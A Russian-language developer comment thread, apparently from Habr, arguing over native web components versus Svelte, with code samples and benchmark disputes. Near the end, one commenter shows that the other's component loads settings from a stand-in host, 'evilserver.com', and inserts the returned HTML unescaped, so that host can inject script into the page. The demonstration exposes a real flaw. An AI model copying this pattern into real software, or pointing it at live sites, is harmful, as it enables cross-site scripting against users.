фронтенд-программист это немного оксюморон порожденный казуальностью современных технологий джаваскрипта
То есть для вас фронтенд — это до сих пор менюшки на jquery открывать/закрывать? Оно и видно. Почему-то мне кажется, что многие с вами не согласятся. Ваш пример наглядно показывает, что бекендер очень часто не может нормально писать и понимать фронтенд. Впрочем как и наоборот.
Код как у меня вполне понятен любому обычному программисту, все легко находится в проекте поиском
Я не говорю, что невозможно найти поиском, вообще зачем? Вот я хочу взять ваш замечательный компонент и перенести в свое приложение, у которого бекенд на php/node/python или даже serverless, что мне делать?
Хорошо, я запарился и нашел ваш серверный шаблон с кучей template'ов. Отфильтровал оттуда несколько штук относящихся именно к тому компоненту, который пытаюсь перенести (что тоже кстати гемор), а дальше вижу:
<template id="${renderResponse.getNamespace()}template-showcase-config">
<dialog id="${renderResponse.getNamespace()}configDialog" class="my-modal">
<h3>Settings</h3>
<div class="fm-form-field">
<label>Service Url</label>
<input type="text" name="serviceUrl" value="<%= serviceUrl %>" />
</div>
<div class="fm-form-field">
<label>Or Data</label>
<textarea name="productData" class="fm-form-text"><%= productData %></textarea>
</div>
<div class="fm-form-field">
<label>Data Mapping</label>
<textarea name="dataMapping" class="fm-form-text"><%= dataMapping %></textarea>
</div>
<div class="fm-form-field">
<label>Data Template</label>
<textarea name="template" class="fm-form-text"><%= template %></textarea>
</div>
<div class="actions">
<button id="${renderResponse.getNamespace()}saveDialogBtn" class="small ok-modal-btn">Save</button>
<button id="${renderResponse.getNamespace()}closeDialogBtn" class="small close-modal-btn">Close</button>
</div>
</dialog>
</template>
Получается, чтобы перенести компонент, даже после всего того, что я уже переодалел, мне еще и шаблон переписать придется? Да уж действительно «ориентирован прежде всего на то, что-бы быть управляемым и изменяемым», гы-гы.
лучше джавы по совокупности практически значимых характеристик ничего за последние 10 лет не было
Реальный джавист))))) Узнаю своего знакомого)))
Нет во фронтенд разработке кроме селекторов цсс и однопоточности ui ничего прямо особенного относительно бека, поэтому никаких специальных и отличных принципов там не надо.
Вот многие похожие на вас так и думают, а потом получаем все эти знаменитые банковские интерфейсы «не для людей» и тонные комментариев с сомнительным содержанием на хабре.
Узнаю своего знакомого)))
у меня был в жизни период когда я считал что жава сложна и многословна, потом я подрос а она стала попроще и повыразительнее, чего и вам желаю;)
банковские интерфейсы «не для людей»
банковские интерфейсы на рякте не очень лучше, а уж с точки зрения разработчиков так и вообще, но вообще это другая немного история, у меня фронтенд составляющая значительно современнее и качественнее чем в типичном таком проекте
конкретно этот код написан не что-бы вам было удобно его куда-то переносить
Какие же это тогда веб-компоненты, если их нельзя переносить? В этом вся соль. К тому же, вы и для переносимости предлагали шаблоны в серверные шаблоны класть, так что сути это не меняет.
у меня был в жизни период когда я считал что жава сложна и многословна, потом я подрос а она стала попроще и повыразительнее, чего и вам желаю;)
После C++ мне уже давно ничего не страшно. В Java хоть множественного наследования нет, а мне приходилось в таких дебрях ООП разбираться, что Java по сравнению с этим лайтовый вариант.
банковские интерфейсы на рякте не очень лучше,
Не согласен, все банки которыми пользуюсь перешли с Java-генерируемых админок на нормальные SPA и стали значительно более юзер френдли. В том числе на реакт. То что вы это не вкуриваете, чисто ваша беда.
у меня фронтенд составляющая значительно современнее и качественнее чем в типичном таком проекте
Охотно верю. Послушали, посмотрели.
Какие же это тогда веб-компоненты, если их нельзя переносить?
если бы это был библиотечный или фреймворковый код их можно было бы переносить, а это прикладной, вам надо понимать разницу, а пример был вам дан потому что вы начали обвинять в том что я не могу сделать пример с двумя шаблонами или что-то такое
Не согласен, все банки которыми пользуюсь перешли с Java-генерируемых админок на нормальные SPA и стали значительно более юзер френдли
перешли для кого торговля людьми встала во главу угла, что-бы была постоянная текучка и террор сотрудников как в кафешке с официантами
Охотно верю. Послушали, посмотрели.
даже в этом наспех писанном коде вы смогли придраться только к тегам серверного шаблоизатора, т.е. к обусловленной требованиями особенности специализированного под платформу кода. Для меня это скорее пример гибкости вебкомпонентов.
если бы это был библиотечный или фреймворковый код их можно было бы переносить
Если бы это был библиотечный код, то вы бы шаблоны для веб-компонентов не поместили в серверные шаблоны, так получается? А где бы они были?
перешли для кого торговля людьми встала во главу угла, что-бы была постоянная текучка и террор сотрудников как в кафешке с официантами
Вижу события своей жизни описываете. В моем окружении ничего такого не наблюдается.
даже в этом наспех писанном коде вы смогли придраться только к тегам серверного шаблоизатора, т.е. к обусловленной требованиями особенности специализированного под платформу кода.
Эм, вы свой код то видели? Вот этого монстра, котором все в кучу и ничего не понятно. Где сплошное императивное управление DOM. Посмотрев вашу реализацию веб-компонента, я понял что все что видел до этого, было еще очень даже ничего, а уж такие вещи как LitElement и lit-html вообще супер прекрасны, а уважаемый i360u реально спец по веб-компонентам.
Если бы это был библиотечный код, то вы бы шаблоны для веб-компонентов не поместили в серверные шаблоны, так получается? А где бы они были?
положил бы рядом в хтмл, как в ангуляре примерно
В моем окружении ничего такого не наблюдается.
это везде наблюдается, я видел 100ни резюме где опыт работы итшника в одной организации в среднем полгода-год
Эм, вы свой код то видели? Вот этого монстра, котором все в кучу и ничего не понятно.
что-то вы завираетесь, там не больше 300 строчек кода на файл, конечно с провокаторских подколупок было бы странно что-то еще ожидать:)
положил бы рядом в хтмл, как в ангуляре примерно
А как бы вы его подключили в js файл с описанием компонента?
это везде наблюдается, я видел 100ни резюме где опыт работы итшника в одной организации в среднем полгода-год
1-2 года это вообще стандарт работы в одной организации, ничего в этом страшного нет. Я же писал, про какой-то там террор сотрудников, видимо с вами такое бывало.
что-то вы завираетесь, там не больше 300 строчек кода на файл,
300 строк js кода, без шаблона и стилей — это просто гигансткий компонент. Его уже минимум 3 раза нужно было разбить для части.
document.write + getElementById например?
>> 1-2 года это вообще стандарт работы в одной организации
т.е. за 30 лет стажа неофициант должен поменять 15-30 нетеррористов? не удивительно что каждый год все переписывается новыми одаренными
300 строк js кода, без шаблона и стилей — это просто гигансткий компонент
для меня это ориентир просто, я разделял по смыслу, необходимости дробить на компоненты там где смысл не требует что-бы удобнее было тыркать стейты как в рякте тут нет, когда посчитаю нужным вынесу все как надо будет
document.write + getElementById например?
Вы написали, что у вас будет лежать рядом js файл с классом компонента и тут же файл html c шаблоном. Вопрос, как вы импортируете html шаблон в файл с js классом?
т.е. за 30 лет стажа неофициант должен поменять 15-30 нетеррористов?
В ИТ да, текучка большая, особено тех, кто хочет развиваться быстро. Со временем оно конечно утихает, но в целом это нормально. На первом месте я проработал 2 года, а последнем уже больше 5-ти.
для меня это ориентир просто, я разделял по смыслу, необходимости дробить на компоненты там где смысл не требует что-бы удобнее было тыркать стейты как в рякте тут нет, когда посчитаю нужным вынесу все как надо будет
Вы функции таким же принципом пишете? Если функция с одним смыслом, то пусть будет хоть 1000 строк и быть совершенно не читаемой, так?
На самом деле вы так пишете, потому что веб-компоненты не дают удобно разделять логику на компоненты и обмениваться данными между ними. Если бы вы сделали ваш код удобным для чтения, разделив его на несколько компонентов то столкнулись бы слишними проблемами их коммуникации. Это как если бы фукнции вашего ЯП не умели нормально принимать и возвращать параметры, а в классах не было бы контекста. Также и в веб-компонентах, коммуникация между ними сложна и неочевидна, аттрибуты только строки, а все компоненты регистрируются в глобальном реестре.
Вопрос, как вы импортируете html шаблон в файл с js классом?
можно реализовать метод лоадер, примерно как импорт в вашем фреймворке или лоадеры systemjs/webpack, до недавнего времени все лоадеры в джаваскрипте были построены либо на заворачивании в анонимки и инлайн в жс либо на script.src = url && document.write
Вы функции таким же принципом пишете? Если функция с одним смыслом, то пусть будет хоть 1000 строк и быть совершенно не читаемой, так?
функция должна влазить в экран, это один из критериев быстрой оценки
Если бы вы сделали ваш код удобным для чтения, разделив его на несколько компонентов то столкнулись бы
я вам 3 раза или более повторил что это непродуктовый код, который пока писался что-бы работало в условиях дефицита времени на это. Проблемы коммуникации решаются гораздо проще чем в популярных и не очень фреймворках, у меня есть код с гораздо большим количеством компонетов и вообще всего, который я вам по NDA показать никак не могу. Коммуникация между веб-компонентами происходит через эвенты и это гораздо понятнее всяких выдуманных стор систем, у меня в том коде кстати есть примеры коммуникации с другим модулем.
можно реализовать метод лоадер, примерно как импорт в вашем фреймворке или лоадеры systemjs/webpack, до недавнего времени все лоадеры в джаваскрипте были построены либо на заворачивании в анонимки и инлайн в жс либо на script.src = url && document.write
Куда же делась ваша приверженность всему нативному? А еще пререндеру шаблона и все такое))))) Как только сталкиваешься с задачами реального мира, сразу начинаются велосипеды. Лучше уж тогда взять инструмент, где все это уже есть и работает на ура.
функция должна влазить в экран, это один из критериев быстрой оценки
Ваш компонент на экран не влазит, при том что там даже не весь компонент, а только его скрипт. С шаблонами и стилями будет еще в 2 раза больше. Или у компонентов какая-то другая оценка?
Проблемы коммуникации решаются гораздо проще чем в популярных и не очень фреймворках, у меня есть код с гораздо большим количеством компонетов и вообще всего, который я вам по NDA показать никак не могу.
Вы мне его и не показывайте, напишите небольшой пример, который показывает принцип. А то с NDA это стандартная отмазка, знаете ли. И чем это интересно это проще чем во фреймворках? Например, в Svelte точно также события на компонентах и точно такие же метода на их инстансе, но кроме того есть еще биндинги настоящие, включая 2way. То есть все что можно реализовать на веб-компонентах, можно и там и даже больше.
Коммуникация между веб-компонентами происходит через эвенты и это гораздо понятнее всяких выдуманных стор систем, у меня в том коде кстати есть примеры коммуникации с другим модулем.
О, видел тут недавно на митапе. Коммуникацию веб-компонентов через ивенты. Там компоненты стреляли ивентами, внутри detail передавая свой собственный инстанс, чтобы компонент-получатель мог через него что-то сделать с компонентом продуцирующим ивент. Адсткая императивная жесть. Я бы посмотрел на ваш вариант.
Вдруг он действительно так хорош, тогда я мог бы просто взять и использовать его в Svelte.
Лучше уж тогда взять инструмент, где все это уже есть и работает на ура.
когда мы говорим о технологии, работает — значит поддерживает стандарты и реализует паттерны, это ключевой критерий качества технологии как продукта, потому что технология это продукт для инженеров
Ваш компонент на экран не влазит, при том что там даже не весь компонент,
мой компонент не функция, а класс если все правильно попиленно, а не намешанно в вермишель, в этом не трудно ориенироваться в среде разработки или редакторе
И чем это интересно это проще чем во фреймворках? Например, в Svelte точно также события на компонентах и точно
в фреймворках обычно косорылые хранилки написанные школотой криво, так что пользоваться сложно, больше гемора и напрасной траты усилий
То есть все что можно реализовать на веб-компонентах, можно и там и даже больше.
еще один казуальный фреймворк не поддерживающий стандарты и паттерны вобщем-то просто не нужен, если вам удастся изучить технологий 5-10 вы поймете, насколько ценно их качество, а не какие-то особенные штучки
О, видел тут недавно на митапе. Коммуникацию веб-компонентов через ивенты. Там компоненты стреляли ивентами, внутри detail передавая свой собственный инстанс, чтобы компонент-получатель мог через него что-то сделать с компонентом продуцирующим ивент.
инстанс не надо передавать наверное никогда, в path и так есть ссылка на эмитера, хотя такой толкбек наверное нужен не часто, если требуется прямое связывание или расшаренное состояние и поведение, правильнее заинжектить в компоненты сервисы и их дергать как мне кажется
когда мы говорим о технологии, работает — значит поддерживает стандарты и реализует паттерны, это ключевой критерий качества технологии как продукта, потому что технология это продукт для инженеров
Похоже у вас javaголовногомозга. Никакие паттерны вам не напишут хороший код. Более того, давно уже изветсно, что зачастую разработчики сконцентрированные на паттернах слишком ими злоупотребляют. Вся Java это сплошной пример концепции ООП бездумно возведенной в абсолют. Испльзование паттернов и даже стандранов ниразу не характеризует качество кода, которое можно реализовать на основе технологии.
мой компонент не функция, а класс если все правильно попиленно, а не намешанно в вермишель, в этом не трудно ориенироваться в среде разработки или редакторе
И что? То есть по-вашему классы могут быть хоть 10К строк? У вас как раз все намешано мама не горюй. Вермишель с лашпой и рисом сверху. Чего стоит только вот этот прекрасный кусок:
buy(event, data) {
this.addToCart(event, data);
document.addEventListener('cart-list:rendered', (event) => {
document.dispatchEvent(new CustomEvent('cart-list:showdelivery', { bubbles: false }));
});
document.dispatchEvent(new CustomEvent('cart:show', { bubbles: false }));
}
Мало того, что компонент ShowcaseList слушает и продуцирует ивенты с префиксами cart: и cart-list:, так еще и на каждый вызов метода buy будет создаваться новый лисенер на документ. И никто это все лисенеры не удалит, когда веб-компонент будет удален из DOM.
Лично я не увидел в вашему коде ни одного паттерна и даже просто удачного решения.
в фреймворках обычно косорылые хранилки написанные школотой криво, так что пользоваться сложно, больше гемора и напрасной траты усилий
Обобщение мать всех ошибок. А учитывая как вы код пишете, я бы про кривость и школоло промолчал бы лучше. К тому же Svelte 3 просто использует CustomEvent с небольшой оберткой над ним, чтобы не писать бойлерплейт код.
еще один казуальный фреймворк не поддерживающий стандарты и паттерны вобщем-то просто не нужен, если вам удастся изучить технологий 5-10 вы поймете, насколько ценно их качество, а не какие-то особенные штучки
Ваше понятие о «качестве» мы уже посмотрели. Спасибо, такого качества ненадо. К тому же, как я уже писал по треду, Svelte компирируется в веб-компоненты одним флагом и на 100% поддерживает текущий стандарт. Так что вы просто говорите о том, о чем не знаете.
инстанс не надо передавать наверное никогда, в path и так есть ссылка на эмитера, хотя такой толкбек наверное нужен не часто, если требуется прямое связывание или расшаренное состояние и поведение, правильнее заинжектить в компоненты сервисы и их дергать как мне кажется
Правильнее вообще не дергать императивно инстансы и методы других компонентов ни напрямую, ни через сервис. Все это лишнее связывание. Если уж работаем с ивентами, это должен быть event-driven стиль в чистом виде.
К тому же Svelte 3 просто использует CustomEvent с небольшой оберткой над ним, чтобы не писать бойлерплейт код.
бойлерплейт это фреймворки не по стандартам и паттернам, а бинд эвента переделать это не проблема, вы же предлагаете говоря языком аналогий из-за опечатки, использовать китайский. В том коде может не много паттернов, но и антипаттернов не так много
В каком месте тут не стандарты и не паттерны, я ума не приложу. Это совершенно естественный процесс для разработки, но видимо вы у на сособенный. Перепишем ваш «код для избранных»:
addToCart(event, data) {
document.dispatchEvent(new CustomEvent('cart:additem', { bubbles: true, detail: { item: data }}));
}
buy(event, data) {
this.addToCart(event, data);
document.addEventListener('cart-list:rendered', (event) => {
document.dispatchEvent(new CustomEvent('cart-list:showdelivery', { bubbles: false }));
});
document.dispatchEvent(new CustomEvent('cart:show', { bubbles: false }));
}
в удобный и читаемый код для нормальных программистов:
function dispatch(name, options) {
document.dispatchEvent(new CustomEvent(name, options));
}
...
addToCart(event, item) {
dispatch('cart:additem', {
bubbles: true,
detail: { item }
});
}
buy(event, data) {
this.addToCart(event, data);
document.addEventListener('cart-list:rendered', e => dispatch('cart-list:showdelivery'));
dispatch('cart:show');
}
не понял зачем эта обертка над диспатчем?
Мне иногда кажется что вы просто троль. Но объективно причин этому может быть несколько:
- Это повторяющийся код, который вы используете как минимум в 3-х местах одного только этого компонента. Собственная это классичекая причина выделить что-то в функцию.
- Далее, это практически ничего не значащий по отдельности бойлерплейт код, который решает одну задачу — даспатчинг ивента, а значит может быть представлен функцией решающей эту задачу.
- Такой вариант будет весить меньше, особенно если вынести это в общие хелперы для всех компонентов. Если ваше приложение содержит 100 компонентов, каждый из которых по 3 раза использует эту конструкци, то написав ее один раз в виде функции вы сможете бесплатно сэкономить лишние байты.
- Если в процессе работы над приложением, вам например понадобиться логировать все диспатчи ивентов или даже выставить брейкпоинт просто, внести еще какое-то изменение в этот шаблонный процесс, вы легко сможете это сделать в одном месте, а не бегая по всем местам использования
- Мы знаем, что по умолчанию, CustomEvent не баблится, а нам например нужно, чтобы наши ивенты баблились в 90% случаев, то логичнее один раз прописать это в функции, а баблинг отключать в тех местах где нужно.
- И наконец это просто более читаемо и удобно в использовании
Раз вы так любите паттерны, но почему то тут вы за WET, а не DRY.
этот код я легко причешу до совсем конфетного состояния, а вы из своей свельты или еще какого казуального ужаса нормального кода не сделаете переписав все с 0
Ого как громко. А как оценивать будем? Давайте критерии оценки. Для меня это прежде всего: минимум кода, его простота, минимум промежуточных состояний и ручного императивного управления стейтом и представлением. А из всего вышеизложенного простота в поддержке и стабильность работы.
У вас какие критерии?
по стилистике кода колхоз как в свельте, вуе или рякте не проходит сразу
Это ваше субективное мнение. Для кого-то ООП стиль написания такой же колхоз. Я же предлагаю более объективные критерии оценки кода.
критерии все описаны в любой книжке про паттерны и практики программирования на нормальных языках программирования, например прочитайте про SOLID,
Опа, стандартная отмазка про SOLID. Вы у себя в коде его давно видели, не? Уверен, что ваш код по критерию SOLID я точно смогу побить.
с которым не больно работать и через 10к лет
С вашим кодом больно работать с первого взгляда. Уж простите. И я не уверен, что вам под силу сделать его не то чтобы SOLID, но просто читаемым и поддерживаемым.
а есть еще немного динамического контента, это сильная сторона веб-компонентов, что можно все динамически рендерить как нативное, во фреймворках тройки такое непросто и непрямо достигается
Веб-компоненты не могут быть отрендерены на сервере без эмуляции DOM или Headless Chrome и это их большой минус. Динамический контент и на сервере и на клиенте должен браться из Апи, чтобы все работало изоморфно. А вы предлагаете его рендерить на сервере в помощью серверных шаблонов, а на клиенте брать из апи, так что ли?
теги вашего svelte такие же синтаксически грязные кстати и выковырять переиспользовать их в ангуляр не получится принципиально)
Да, только Svelte я просто возьму и запущу на сервере как есть и он мне просто выдаст готовую html-ку для отправки юзеру. И не придется мне еще и серверные шаблоны клепать
шаблоны это пре рендер, а рендер вызывающий конструкторы и колбеки, вы легко напишете сами хоть на жс
Да, только Svelte я просто возьму и запущу на сервере как есть и он мне просто выдаст готовую html-ку для отправки юзеру. И не придется мне еще и серверные шаблоны клепать
веб-компоненты никак не связанны с серверными шаблонами, кроме того что с ними проще чем с ферймворками, можно также писать и без серверных
шаблоны это пре рендер, а рендер вызывающий конструкторы и колбеки, вы легко напишете сами хоть на жс
Вы реально не поняли, что я сказал? Вы не можете взять веб-компонент и отрендерить его на сервере, то есть превратить в строку с полностью сформированной внутренней разметкой и отдать на клиент. Это можно сделать только с помощью хаков типа prerender или эмуляции DOM.
В Svelte я могу просто взять любой компонент и отрендерить его на сервере в строку, сколь бы сложным он не был и сколько бы компонентов внутри не содержал. Это и есть SSR, а не то что вы пишете.
В Svelte я могу просто взять любой компонент и отрендерить его на сервере в строку, сколь бы сложным он не был и сколько бы компонентов внутри не содержал.
круто, но это не оправдывает казуальщины, кроме того это может означать, что рендерит он все-таки через вставку строк в dom. Что-бы отрендерить веб компонент думаю восновном достаточно вызвать конструктор класса и connectedCallback.
круто, но это не оправдывает казуальщины,
Не знаю что вы имеете ввиду здесь.
кроме того это может означать, что рендерит он все-таки через вставку строк в dom.
Нет, это просто означает что это компилятор и он может компилить одни и те же мои компоненты в разные таргеты. Для фронта он компилируется либо в class либо в custom element, а для сервера в строку. В будущем может даже в нативную мобилку сможет.
Что-бы отрендерить веб компонент думаю восновном достаточно вызвать конструктор класса и connectedCallback.
Серьезно? А ShadowDOM мы куда денем? А на сервере у вас document/window есть? Как будете нейтив шаблоны клонировать?
Не знаю что вы имеете ввиду здесь.
странные неочевидные для разработчика решения, какая-то особенная магия
а для сервера в строку.
в строку для сервера как раз будет native template, а большего не надо, сервер лучше загрузит js'ы из отдельных файлов, потому что это будет специальный отдельный сервер на проде
Серьезно? А ShadowDOM мы куда денем? А на сервере у вас document/window есть?
это жи жс — все можно наполифиллить своими нахлобучками, поддержки шедоудом для ие11 нет, а полифилл есть, значит можно сделать свой для рендера в строку
странные неочевидные для разработчика решения, какая-то особенная магия
Не вижу таких, для меня все очевидно, а код значительно проще и читаемее вашего.
в строку для сервера как раз будет native template, а большего не надо, сервер лучше загрузит js'ы из отдельных файлов, потому что это будет специальный отдельный сервер на проде
Да чтоже это такое то? Вы вообще не ферштейн? Вот у вас веб-компонент:
class MyComponent extends HTMLElement {
constructor() {
super();
const tpl = document.createElement('template');
const { foo, bar } = this.attributes;
tpl.innerHTML = `
<div>${foo}</div>
<div>${bar}</div>
`;
this.appendChild(document.importNode(tpl.content, true));
}
}
customElements.define('my-component', MyComponent);
Вот мы его используем:
<my-component foo="Hello" bar="world"></my-component>
Ваша задача с сервера вернуть не просто пустой тег веб компонента, а с его содержимым и контентом, примерно так:
<my-component foo="Hello" bar="world">
<div>Hello</div>
<div>world</div>
</my-component>
это жи жс — все можно наполифиллить своими нахлобучками, поддержки шедоудом для ие11 нет, а полифилл есть, значит можно сделать свой для рендера в строку
Ок, я вас понял, вопросов больше к вам нет. Единственное замечание, в IE11 хоть и нет shadowdom, но там есть весь остальной DOM. И нахлабучивать вам придется весь DOM, как я и написал выше — либо эмуляция DOM на сервере, либо Headless Chrome. И то и то, вам и вашим юзерам по скорости рендерига не понравится.
реализуйте методы document, реализуйте генератор инстанциирующий классы элементов и все дела, наверняка кто-то такое уже сделал
Конечно делал, это и называется эмуляция dom. Работает она правда сложнее, чем вам наивно представляется, а главное работает ооочень медленно, по сравнению с нормальным SSR и в прод вы это не захотите.
выковырять переиспользовать их в ангуляр не получится принципиально
Пропустил про ангуляр. Вы так и не поняли фишку — в ангуляр мы будем переиспользовать не шабоны, а полностью готовый Svelte компонент. Просто возьмем его и засунем в приложение на Ангуляр, точно также как я это сделал вот в этой статье для Реакта. Почему? Да потому что Svelte — это чистая ванила.
<button on:click="$set({ clicked: true })">click me</button>
похоже на перл в тегах
Вот это код:
<button on:click="$set({ clicked: true })">click me</button>
Компилируется в совершенно ванильный:
const button = document.createElement('button');
button.textContent = 'click me';
button.addEventListener('click', () => {
$store.set({ clicked: true });
});
После компиляции Svelte компонент — это ванильный JS класс без внешних зависимостей, который можно просто взять и использовать где угодно, а не только в ангуляре. Ферштейн или для вас это сложно?
это лишние атрибуты которые вам придется восстанавливать, при обновлениях дизайна, ладно бы это было еще в жс коде отдельно от верстке, а не шаблоне
Каком еще обновлении дизайна? Когда у вас произойдет обновление дизайна, а в js коде идет выборка по селектору, которого в шаблоне больше нет, вам не придется ничего делать, не?
Очень понравился вот этот ваш кусок, простоя высшая степень «хороших паттернов»:
let template = settings.template;
...
let itemContainer = document.createElement('div');
...
itemContainer.insertAdjacentHTML('beforeend', template);
let mappings = settings.dataMapping || [];
for (let mapping of mappings) {
let el = itemContainer.querySelector(mapping.sl);
if (mapping.valType && mapping.valType === 'style' && mapping.valTmpl) {
el.style = mapping.valTmpl.replace('%%', jsonPath(product, mapping.valExp));
} else {
if (el !== null) {
el.textContent = jsonPath(product, mapping.valExp);
}
}
}
Для тех, кто не в курсе, settings приходит с сервера.)))) То есть мы не только получаем с сервера неизвестный кусок html и вставляем его в DOM внутри веб-компонента, но оттуда же получаем список каких-то маппингов, и потом по неизвестному селектору, который описан в этих маппингах, мы изменяем этот html, пришедший с сервера, добавляя стили.
WAT? Это типа у вас такое понятие об инкапсуляции и правильной работе с DOM? Это у вас такое представление о читаемом коде? Я даже представить не могу, что я в итоге должен увидеть в DOM, читая это код. Более того, получается у нас веб-компонент завязан на сервер не только своим стейтом, но и еще разметкой. Вот так SOLID и паттерны там всякие.
там можно задать данные, мапинги и шаблоны отображения прямо в админке, все без лазания в код, это такая типа фича, я ведь уже 4 раза повторял, что повторял про назначение этого кода?
Это повод писать кривой и небезопасный код что ли? Вы так про это говорите, как будто это rocket science какой-то. REPL у Svelte устроен сложнее, чем у вас. Он на любом изменеие кода все пересобирает автоматом и обновляет вьюху прямо на клиенте. И вообще, вы просто не понимаете, но нет никакой проблемы сделать то, что делаете вы ни на одном фреймворке.
Каком еще обновлении дизайна? Когда у вас произойдет обновление дизайна, а в js коде идет выборка по селектору, которого в шаблоне больше нет, вам не придется ничего делать, не?
на старте многих веб-проектов по ходу разработки выкатывается 4-5 версий дизайна, обычно довольно эволюционно но все же меняющихся, по дизайну делается верстка, вот ее вам каждый раз придется заново интегрировать в свои шаблоны восстанавливая все эти магичные аттрибуты
на старте многих веб-проектов по ходу разработки выкатывается 4-5 версий дизайна, обычно довольно эволюционно но все же меняющихся, по дизайну делается верстка, вот ее вам каждый раз придется заново интегрировать в свои шаблоны восстанавливая все эти магичные аттрибуты
А вам типа не придется? У вас дизайны видимо будут меняться консистентно с лапше-кодом, которых располагается в разных местах и завязан на разные куски DOM/шаблонов. Знаем мы это все, проходили с Jquery. Это значительно сложнее рефакторится потом.
Когда у тебя небольшой декларативный компонент в одном файле рефакторить его в разы проще, и не нужно куда-то бегать по файловой системе, искать вызовы document.querySelector или el.addEventListener. У вас видимо не много опыта с фронтендом, раз вы не знаете об этих проблемах.
Более того, так как компонент Svelte — это фактически валидный html файл (в v2 даже кастомное разрешение .svelte не используется, а просто .html). Дизайнерам и верстальщикам очень нравится с этим работать. У нас в компании, js программисты и верстальщики часто разные люди. Очень классно, когда верстальщик может просто отдать готовый компонент вида:
<ul>
<li>
<img>
<h6>title</h6>
<input type="checkbox">
</li>
</ul>
<button>Buy selected</button>
<style>
ul { ... }
ul li { ... }
button { ... }
...
</style>
А js программист просто туда натянет логику и поведение и моментально получит что-то вроде:
<ul>
{#each products as { title, id, img }}
<li>
<img src={img}>
<h6>{title}</h6>
<input
bind:group={checked}
value={id}
type="checkbox"
>
</li>
{/each}
</ul>
<button on:click={e => addToCart(checked)}>
Buy selected
</button>
<script>
import { addToCart } from './cart.js';
export let products = [], checked = [];
</script>
<style>
ul { ... }
ul li { ... }
button { ... }
...
</style>
Если для вас плюсы такого подхода с точки зрения того же редизайна не ясны, то это лишь говорит о ваших компетенциях и опыте во фронтенде (ваш серверный опыт я не оцениваю никак)
1) открываем консольку пишем:
const showcase = document.createElement('showcase-list');
showcase.setAttribute('settingsUrl', 'https://evilserver.com');
document.body.appendChild(showcase);
2) что происходит дальше — наш супер SOLID-паттерный код написанный по всем стандартам делает запрос на чужой веб-сервер, чтобы загрузить settings:
loadSettings() {
return new Promise((resolve, reject) => {
let xhr = new XMLHttpRequest();
xhr.open("GET", this.settingsUrl);
....
3) а после спокойно отрисовывает пришедщий оттуда html код с любым вредоностным js кодом:
let template = settings.template; // пришло с evil сервера
...
itemContainer.insertAdjacentHTML('beforeend', template); // отрисовали в DOM "как есть" через insertAdjacentHTML
Читаем Security considerations:
When inserting HTML into a page by using insertAdjacentHTML(), be careful not to use user input that hasn't been escaped.
Ооочень надеюсь, что вы не в банковской сфере работаете…
Мы пишем декларативный, хорошо читаемый компонент, на высоком уровне абстракции
<h1>Hello {name}</h1>
<script>
export let name = '';
</script>
<style>
h1 { color: red; } <!-- стили сразу инкапсулированы -->
</style>
Далее, он компилируется в ванилу, статически анализируются все связи между представлением и стейтом компонента и генерируется ванильный класс, который мы можем использовать из любого внешнего js кода:
import HelloWorld from './HelloWorld.svelte';
const hw = new HelloWorld({
target: document.body,
props: { name: 'world' }
}); // отрисует 'Hello world' в document.body
hw.name = 'syncro'; // обновит dom на 'Hello syncro'
Внутри ванильного класса, будет ванильный DOM API с небольшим кол-вом хелперов для уменьшения бойлерплейта. Все, очень просто, декларативно, очевидно и читаемо.
class FilledElement extends HTMLElement {
constructor() {
super();
this.name = 'John';
this.secondName = 'Snow';
this.attachShadow({
mode: 'open',
});
let html = /*html*/ `
<style>
:host {
display: block;
color: red;
}
</style>
`;
for (let i = 0; i < 1000; i++) {
html += `<div>${this.name}</span> <span>${this.secondName}</div>`;
}
this.shadowRoot.innerHTML = html;
}
}
window.customElements.define('filled-element', FilledElement);
Сравните теперь скорость (у меня где-то 14ms). Не стоит раз за разом сравнивать теплое с мягким, если хотите сравнить скорость рендера тысячи переиспользуемых компонентов с собственными свойствами — то и сравнивайте именно их. Речь вообще изначально шла о том, что некорректно скорость веб-компонентов замерять на LitElement, и я написал почему. Хотите адекватный тест? Сравните сравнимое: чистые компоненты, LitElement, React и Vue.
Я уже писал автору статьи, что его тест некорректен от слова совсем, напишу и вам: в одном случае создаются компоненты, в другом — заполняется шаблон одного компонента/контейнера.
Во-первых, это чисто ваш тест, я лишь портировал его на Svelte. Во-вторых, у меня 2 компонента: Test.svelte и App.svelte. Перебор массива происходит вне компонента Test.svelte, то результата работы скрипта — это 1000 компонентов Test на странице.
То есть аналогичный код на WC будет выглядеть как-то так:
Это не так. Вы засунули цикл в один компонент и пробежались массивом внутри него. То есть результат работы вашего скрипта — это один компонент с 1000-й div-элементов внутри. По вашему это аналогично?
Не стоит раз за разом сравнивать теплое с мягким, если хотите сравнить скорость рендера тысячи переиспользуемых компонентов с собственными свойствами — то и сравнивайте именно их.
Да, именно это я и делаю. Еще раз взгляните на код моей реализации, раз вы поленились открыть спойлер в комментарии выше:
# Файл Test.svelte — внимание, отдельный компонент!
<div>
<span>{name}</span> <span>{secondName}</span>
</div>
<script>
let name = 'John', secondName = 'Snow';
</script>
<style>
div { display: block; color: red; }
</style>
# Файл App.svelte — внимание, отдельный компонент!
{#each Array.apply(null, { length }) as _}
<Test /> <!-- вот тут мы в цикле создаем length-компонентов Test -->
{/each}
<script>
import Test from './Test.svelte';
export let length = 0;
</script>
# Файл main.js — внимание, отдельный файл!
import App from './App.svelte';
const startTime = window.performance.now(),
length = 1000;
const app = new App({
target: document.body,
props: { length }
});
window.requestAnimationFrame(() => {
console.log(`
Elements total: ${length};
Rendering time: ${(window.performance.now() - startTime) / 1000}s
`);
});
export default app;
Более того, в вашем примере всего 1 компонент (TestElement), а в моем примере компонента 2 (Test и App), что по-идее должно быть даже менее производительным. Код файла main.js практически соответствует вашему второму script тегу, кроме того, что создание 1000 компонентов Test происходит не внутри обычно js-цикла, а с помощью инструментов доступных в Svelte. Собственно именно так такой код и пишется и я не вижу причин, почему это не соответствует вашему примеру.
Эти компоненты не только переиспользуемые, они до кучи полностью инкапсулированные, включая стили (именно поэтому я спокойно юзаю просто имя тега div для стилей и не боюсь что все теги div станут красными), и даже разбиты на отдельные файлы. Компонент Test понятия не имеет кто и сколько раз нарисует его на странице.
Хотите адекватный тест? Сравните сравнимое: чистые компоненты, LitElement, React и Vue.
Не очень понял, почему эти 4 варианта сравнимы, а варианты на Preact и Svelte нет?
Более того, сравнение со Svelte даже более корректное, чем с Preac/React и любым другим VDOM решением, именно потому что Svelte в рантайме не использует все эти тяжелые абстракции, так же как и ваш ванильный код.
